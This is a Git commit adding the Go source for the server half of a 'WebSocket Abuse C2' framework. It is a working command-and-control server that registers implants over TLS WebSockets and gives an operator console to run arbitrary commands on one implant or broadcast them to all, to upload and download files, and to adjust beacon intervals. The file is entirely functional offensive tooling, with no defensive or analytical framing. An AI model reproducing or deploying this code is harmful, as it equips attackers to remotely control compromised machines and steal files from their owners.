Upload files to "c2_websocket_abuse/cmd/server"
This commit is contained in:
parent
8926a1142f
commit
339e24bb90
560
c2_websocket_abuse/cmd/server/main.go
Normal file
560
c2_websocket_abuse/cmd/server/main.go
Normal file
|
|
@ -0,0 +1,560 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/base64"
|
||||
"encoding/pem"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/big"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
|
||||
"github.com/churchofmalware/c2-websocket-abuse/pkg"
|
||||
)
|
||||
|
||||
// implantConn wraps a WebSocket connection with metadata.
|
||||
type implantConn struct {
|
||||
id string
|
||||
conn *websocket.Conn
|
||||
ip string
|
||||
connected time.Time
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
func (ic *implantConn) send(msg *protocol.Message) error {
|
||||
ic.mu.Lock()
|
||||
defer ic.mu.Unlock()
|
||||
return ic.conn.WriteJSON(msg)
|
||||
}
|
||||
|
||||
// server holds all connected implants and the WebSocket upgrader.
|
||||
type server struct {
|
||||
implants map[string]*implantConn
|
||||
mu sync.RWMutex
|
||||
upgrader websocket.Upgrader
|
||||
}
|
||||
|
||||
func newServer() *server {
|
||||
return &server{
|
||||
implants: make(map[string]*implantConn),
|
||||
upgrader: websocket.Upgrader{
|
||||
CheckOrigin: func(r *http.Request) bool { return true },
|
||||
ReadBufferSize: 4096,
|
||||
WriteBufferSize: 4096,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (s *server) addImplant(ic *implantConn) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if old, ok := s.implants[ic.id]; ok {
|
||||
old.conn.Close()
|
||||
log.Printf("Replaced existing implant %s", ic.id)
|
||||
}
|
||||
s.implants[ic.id] = ic
|
||||
log.Printf("Implant registered: %s from %s", ic.id, ic.ip)
|
||||
}
|
||||
|
||||
func (s *server) removeImplant(id string) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
delete(s.implants, id)
|
||||
log.Printf("Implant disconnected: %s", id)
|
||||
}
|
||||
|
||||
func (s *server) getImplant(id string) *implantConn {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
return s.implants[id]
|
||||
}
|
||||
|
||||
func (s *server) listImplants() []*implantConn {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]*implantConn, 0, len(s.implants))
|
||||
for _, ic := range s.implants {
|
||||
out = append(out, ic)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (s *server) handleWS(w http.ResponseWriter, r *http.Request) {
|
||||
conn, err := s.upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
log.Printf("Upgrade error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Expect a register message as the first frame
|
||||
conn.SetReadDeadline(time.Now().Add(10 * time.Second))
|
||||
_, raw, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
log.Printf("Read register error: %v", err)
|
||||
conn.Close()
|
||||
return
|
||||
}
|
||||
msg, err := protocol.UnmarshalMessage(raw)
|
||||
if err != nil || msg.Type != protocol.TypeRegister {
|
||||
log.Printf("Invalid register message from %s", r.RemoteAddr)
|
||||
conn.Close()
|
||||
return
|
||||
}
|
||||
|
||||
implantID := msg.ID
|
||||
if implantID == "" {
|
||||
implantID = fmt.Sprintf("anon-%d", time.Now().UnixNano())
|
||||
}
|
||||
|
||||
ip := r.RemoteAddr
|
||||
if host, _, err := net.SplitHostPort(ip); err == nil {
|
||||
ip = host
|
||||
}
|
||||
|
||||
ic := &implantConn{
|
||||
id: implantID,
|
||||
conn: conn,
|
||||
ip: ip,
|
||||
connected: time.Now(),
|
||||
}
|
||||
|
||||
conn.SetReadDeadline(time.Time{})
|
||||
s.addImplant(ic)
|
||||
|
||||
// Pong handler — extends read deadline
|
||||
conn.SetPongHandler(func(string) error {
|
||||
conn.SetReadDeadline(time.Now().Add(60 * time.Second))
|
||||
return nil
|
||||
})
|
||||
|
||||
// Reader loop
|
||||
go func() {
|
||||
defer func() {
|
||||
s.removeImplant(implantID)
|
||||
conn.Close()
|
||||
}()
|
||||
|
||||
for {
|
||||
conn.SetReadDeadline(time.Now().Add(60 * time.Second))
|
||||
_, raw, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseNormalClosure) {
|
||||
log.Printf("Implant %s read error: %v", implantID, err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
msg, err := protocol.UnmarshalMessage(raw)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
switch msg.Type {
|
||||
case protocol.TypeHeartbeat:
|
||||
// Implant alive — no action needed
|
||||
case protocol.TypeResult:
|
||||
if msg.Err != "" {
|
||||
log.Printf("[Error from %s] %s", msg.ID, msg.Err)
|
||||
} else {
|
||||
log.Printf("[Result from %s] %s", msg.ID, msg.Data)
|
||||
}
|
||||
case protocol.TypePong:
|
||||
// Response to our ping
|
||||
default:
|
||||
log.Printf("Unknown message type from %s: %s", msg.ID, msg.Type)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// Ping ticker — every 30 seconds
|
||||
go func() {
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
ic.mu.Lock()
|
||||
err := ic.conn.WriteMessage(websocket.PingMessage, []byte("keepalive"))
|
||||
ic.mu.Unlock()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// ----- Operator Console -----
|
||||
|
||||
type operator struct {
|
||||
server *server
|
||||
selected string
|
||||
}
|
||||
|
||||
func (op *operator) run() {
|
||||
scanner := bufio.NewScanner(os.Stdin)
|
||||
fmt.Println("╔═══════════════════════════════════════════════╗")
|
||||
fmt.Println("║ WebSocket Abuse C2 — Operator Console ║")
|
||||
fmt.Println("╚═══════════════════════════════════════════════╝")
|
||||
fmt.Println("Commands: list, use <id>, exec <cmd>, upload <local> <remote>,")
|
||||
fmt.Println(" download <remote>, beacon <sec>, broadcast <cmd>, exit")
|
||||
fmt.Print("\n> ")
|
||||
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" {
|
||||
fmt.Print("> ")
|
||||
continue
|
||||
}
|
||||
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) == 0 {
|
||||
fmt.Print("> ")
|
||||
continue
|
||||
}
|
||||
cmd := parts[0]
|
||||
args := parts[1:]
|
||||
|
||||
switch cmd {
|
||||
case "list":
|
||||
op.cmdList()
|
||||
case "use":
|
||||
if len(args) < 1 {
|
||||
fmt.Println("Usage: use <implant-id>")
|
||||
} else {
|
||||
op.cmdUse(args[0])
|
||||
}
|
||||
case "exec":
|
||||
if op.selected == "" {
|
||||
fmt.Println("No implant selected. Use 'use <id>' first.")
|
||||
} else if len(args) < 1 {
|
||||
fmt.Println("Usage: exec <command>")
|
||||
} else {
|
||||
op.cmdExec(strings.Join(args, " "))
|
||||
}
|
||||
case "upload":
|
||||
if op.selected == "" {
|
||||
fmt.Println("No implant selected. Use 'use <id>' first.")
|
||||
} else if len(args) < 2 {
|
||||
fmt.Println("Usage: upload <local> <remote>")
|
||||
} else {
|
||||
op.cmdUpload(args[0], args[1])
|
||||
}
|
||||
case "download":
|
||||
if op.selected == "" {
|
||||
fmt.Println("No implant selected. Use 'use <id>' first.")
|
||||
} else if len(args) < 1 {
|
||||
fmt.Println("Usage: download <remote>")
|
||||
} else {
|
||||
op.cmdDownload(args[0])
|
||||
}
|
||||
case "beacon":
|
||||
if op.selected == "" {
|
||||
fmt.Println("No implant selected. Use 'use <id>' first.")
|
||||
} else if len(args) < 1 {
|
||||
fmt.Println("Usage: beacon <seconds>")
|
||||
} else {
|
||||
op.cmdBeacon(args[0])
|
||||
}
|
||||
case "broadcast":
|
||||
if len(args) < 1 {
|
||||
fmt.Println("Usage: broadcast <command>")
|
||||
} else {
|
||||
op.cmdBroadcast(strings.Join(args, " "))
|
||||
}
|
||||
case "exit":
|
||||
if op.selected == "" {
|
||||
fmt.Println("No implant selected. Use 'use <id>' first.")
|
||||
} else {
|
||||
op.cmdExit()
|
||||
}
|
||||
case "help":
|
||||
fmt.Println("Commands:")
|
||||
fmt.Println(" list — Show connected implants")
|
||||
fmt.Println(" use <id> — Select an implant")
|
||||
fmt.Println(" exec <command> — Run command on selected implant")
|
||||
fmt.Println(" upload <local> <remote> — Upload file to implant")
|
||||
fmt.Println(" download <remote> — Download file from implant")
|
||||
fmt.Println(" beacon <seconds> — Change beacon interval")
|
||||
fmt.Println(" broadcast <command> — Run command on all implants")
|
||||
fmt.Println(" exit — Disconnect selected implant")
|
||||
fmt.Println(" help — Show this help")
|
||||
default:
|
||||
fmt.Printf("Unknown command: %s\n", cmd)
|
||||
}
|
||||
|
||||
if cmd != "list" {
|
||||
fmt.Print("> ")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (op *operator) cmdList() {
|
||||
implants := op.server.listImplants()
|
||||
if len(implants) == 0 {
|
||||
fmt.Println("No implants connected.")
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println()
|
||||
fmt.Println(strings.Repeat("─", 80))
|
||||
fmt.Printf("%-4s %-24s %-20s %-20s %s\n", "#", "IMPLANT ID", "IP", "CONNECTED", "STATUS")
|
||||
fmt.Println(strings.Repeat("─", 80))
|
||||
for i, ic := range implants {
|
||||
mark := ""
|
||||
if ic.id == op.selected {
|
||||
mark = "← selected"
|
||||
}
|
||||
fmt.Printf("%-4d %-24s %-20s %-20s %s\n", i+1, ic.id, ic.ip, ic.connected.Format(time.RFC3339), mark)
|
||||
}
|
||||
fmt.Println(strings.Repeat("─", 80))
|
||||
fmt.Printf("Total: %d implant(s)\n\n", len(implants))
|
||||
}
|
||||
|
||||
func (op *operator) cmdUse(id string) {
|
||||
ic := op.server.getImplant(id)
|
||||
if ic == nil {
|
||||
fmt.Printf("Implant '%s' not found. Use 'list' to see connected implants.\n", id)
|
||||
return
|
||||
}
|
||||
op.selected = id
|
||||
fmt.Printf("Selected implant: %s (%s) connected since %s\n", id, ic.ip, ic.connected.Format(time.RFC3339))
|
||||
}
|
||||
|
||||
func (op *operator) cmdExec(command string) {
|
||||
ic := op.server.getImplant(op.selected)
|
||||
if ic == nil {
|
||||
fmt.Printf("Implant '%s' is no longer connected.\n", op.selected)
|
||||
op.selected = ""
|
||||
return
|
||||
}
|
||||
msg := protocol.NewMessage(protocol.TypeExec, op.selected, command)
|
||||
if err := ic.send(msg); err != nil {
|
||||
fmt.Printf("Send error: %v\n", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("Sent exec to %s: %s\n", op.selected, command)
|
||||
}
|
||||
|
||||
func (op *operator) cmdUpload(local, remote string) {
|
||||
data, err := os.ReadFile(local)
|
||||
if err != nil {
|
||||
fmt.Printf("Read file error: %v\n", err)
|
||||
return
|
||||
}
|
||||
encoded := base64.StdEncoding.EncodeToString(data)
|
||||
|
||||
ic := op.server.getImplant(op.selected)
|
||||
if ic == nil {
|
||||
fmt.Printf("Implant '%s' is no longer connected.\n", op.selected)
|
||||
op.selected = ""
|
||||
return
|
||||
}
|
||||
|
||||
payload := fmt.Sprintf("%s|%s", remote, encoded)
|
||||
msg := protocol.NewMessage(protocol.TypeUpload, op.selected, payload)
|
||||
if err := ic.send(msg); err != nil {
|
||||
fmt.Printf("Send error: %v\n", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("Uploading %s → %s on %s (%d bytes)\n", local, remote, op.selected, len(data))
|
||||
}
|
||||
|
||||
func (op *operator) cmdDownload(remote string) {
|
||||
ic := op.server.getImplant(op.selected)
|
||||
if ic == nil {
|
||||
fmt.Printf("Implant '%s' is no longer connected.\n", op.selected)
|
||||
op.selected = ""
|
||||
return
|
||||
}
|
||||
msg := protocol.NewMessage(protocol.TypeDownload, op.selected, remote)
|
||||
if err := ic.send(msg); err != nil {
|
||||
fmt.Printf("Send error: %v\n", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("Requested download of %s from %s\n", remote, op.selected)
|
||||
}
|
||||
|
||||
func (op *operator) cmdBeacon(interval string) {
|
||||
ic := op.server.getImplant(op.selected)
|
||||
if ic == nil {
|
||||
fmt.Printf("Implant '%s' is no longer connected.\n", op.selected)
|
||||
op.selected = ""
|
||||
return
|
||||
}
|
||||
msg := protocol.NewMessage(protocol.TypeBeacon, op.selected, interval)
|
||||
if err := ic.send(msg); err != nil {
|
||||
fmt.Printf("Send error: %v\n", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("Set beacon interval to %ss on %s\n", interval, op.selected)
|
||||
}
|
||||
|
||||
func (op *operator) cmdBroadcast(command string) {
|
||||
implants := op.server.listImplants()
|
||||
if len(implants) == 0 {
|
||||
fmt.Println("No implants connected.")
|
||||
return
|
||||
}
|
||||
sent := 0
|
||||
for _, ic := range implants {
|
||||
msg := protocol.NewMessage(protocol.TypeExec, ic.id, command)
|
||||
if err := ic.send(msg); err != nil {
|
||||
fmt.Printf("Send to %s error: %v\n", ic.id, err)
|
||||
continue
|
||||
}
|
||||
sent++
|
||||
}
|
||||
fmt.Printf("Broadcast 'exec %s' to %d/%d implants\n", command, sent, len(implants))
|
||||
}
|
||||
|
||||
func (op *operator) cmdExit() {
|
||||
ic := op.server.getImplant(op.selected)
|
||||
if ic == nil {
|
||||
fmt.Printf("Implant '%s' is no longer connected.\n", op.selected)
|
||||
op.selected = ""
|
||||
return
|
||||
}
|
||||
msg := protocol.NewMessage(protocol.TypeExit, op.selected, "")
|
||||
if err := ic.send(msg); err != nil {
|
||||
fmt.Printf("Send error: %v\n", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("Sent exit to %s\n", op.selected)
|
||||
op.selected = ""
|
||||
}
|
||||
|
||||
// ----- TLS Cert Generation -----
|
||||
|
||||
func ensureCertificates(certPath, keyPath string, hosts ...string) error {
|
||||
// If both files exist, nothing to do
|
||||
if _, err := os.Stat(certPath); err == nil {
|
||||
if _, err := os.Stat(keyPath); err == nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("Generating self-signed TLS certificate (%s, %s)...", certPath, keyPath)
|
||||
|
||||
priv, err := rsa.GenerateKey(rand.Reader, 4096)
|
||||
if err != nil {
|
||||
return fmt.Errorf("generate key: %w", err)
|
||||
}
|
||||
|
||||
serialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
|
||||
if err != nil {
|
||||
return fmt.Errorf("generate serial: %w", err)
|
||||
}
|
||||
|
||||
template := x509.Certificate{
|
||||
SerialNumber: serialNumber,
|
||||
Subject: pkix.Name{
|
||||
Organization: []string{"WebSocket Abuse C2"},
|
||||
CommonName: "c2.local",
|
||||
},
|
||||
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||
NotAfter: time.Now().Add(365 * 24 * time.Hour),
|
||||
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
BasicConstraintsValid: true,
|
||||
}
|
||||
|
||||
if len(hosts) > 0 {
|
||||
template.DNSNames = hosts
|
||||
} else {
|
||||
template.DNSNames = []string{"localhost", "c2.local"}
|
||||
}
|
||||
template.IPAddresses = append(template.IPAddresses, net.ParseIP("127.0.0.1"))
|
||||
|
||||
derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
|
||||
if err != nil {
|
||||
return fmt.Errorf("create cert: %w", err)
|
||||
}
|
||||
|
||||
certOut, err := os.Create(certPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("create %s: %w", certPath, err)
|
||||
}
|
||||
defer certOut.Close()
|
||||
if err := pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}); err != nil {
|
||||
return fmt.Errorf("encode cert: %w", err)
|
||||
}
|
||||
|
||||
keyOut, err := os.Create(keyPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("create %s: %w", keyPath, err)
|
||||
}
|
||||
defer keyOut.Close()
|
||||
privBytes := x509.MarshalPKCS1PrivateKey(priv)
|
||||
if err := pem.Encode(keyOut, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: privBytes}); err != nil {
|
||||
return fmt.Errorf("encode key: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("Self-signed certificate generated (valid for 365 days)")
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
addr := flag.String("addr", ":8443", "Listen address (host:port)")
|
||||
certFile := flag.String("cert", "server.crt", "TLS certificate file")
|
||||
keyFile := flag.String("key", "server.key", "TLS private key file")
|
||||
flag.Parse()
|
||||
|
||||
// Ensure TLS certs exist
|
||||
if err := ensureCertificates(*certFile, *keyFile); err != nil {
|
||||
log.Fatalf("Certificate setup failed: %v", err)
|
||||
}
|
||||
|
||||
// Load TLS config
|
||||
cert, err := tls.LoadX509KeyPair(*certFile, *keyFile)
|
||||
if err != nil {
|
||||
log.Fatalf("Load TLS cert: %v", err)
|
||||
}
|
||||
tlsConfig := &tls.Config{
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS12,
|
||||
}
|
||||
|
||||
s := newServer()
|
||||
http.HandleFunc("/ws", s.handleWS)
|
||||
|
||||
fmt.Printf("WebSocket C2 server starting on wss://%s/ws\n", *addr)
|
||||
|
||||
// Graceful shutdown
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||
|
||||
// Operator console in a goroutine
|
||||
go func() {
|
||||
op := &operator{server: s}
|
||||
op.run()
|
||||
}()
|
||||
|
||||
listener, err := tls.Listen("tcp", *addr, tlsConfig)
|
||||
if err != nil {
|
||||
log.Fatalf("TLS listen: %v", err)
|
||||
}
|
||||
|
||||
httpServer := &http.Server{Addr: *addr}
|
||||
go func() {
|
||||
if err := httpServer.Serve(listener); err != nil && err != http.ErrServerClosed {
|
||||
log.Fatalf("Server error: %v", err)
|
||||
}
|
||||
}()
|
||||
|
||||
<-sigCh
|
||||
log.Println("Shutting down...")
|
||||
httpServer.Close()
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user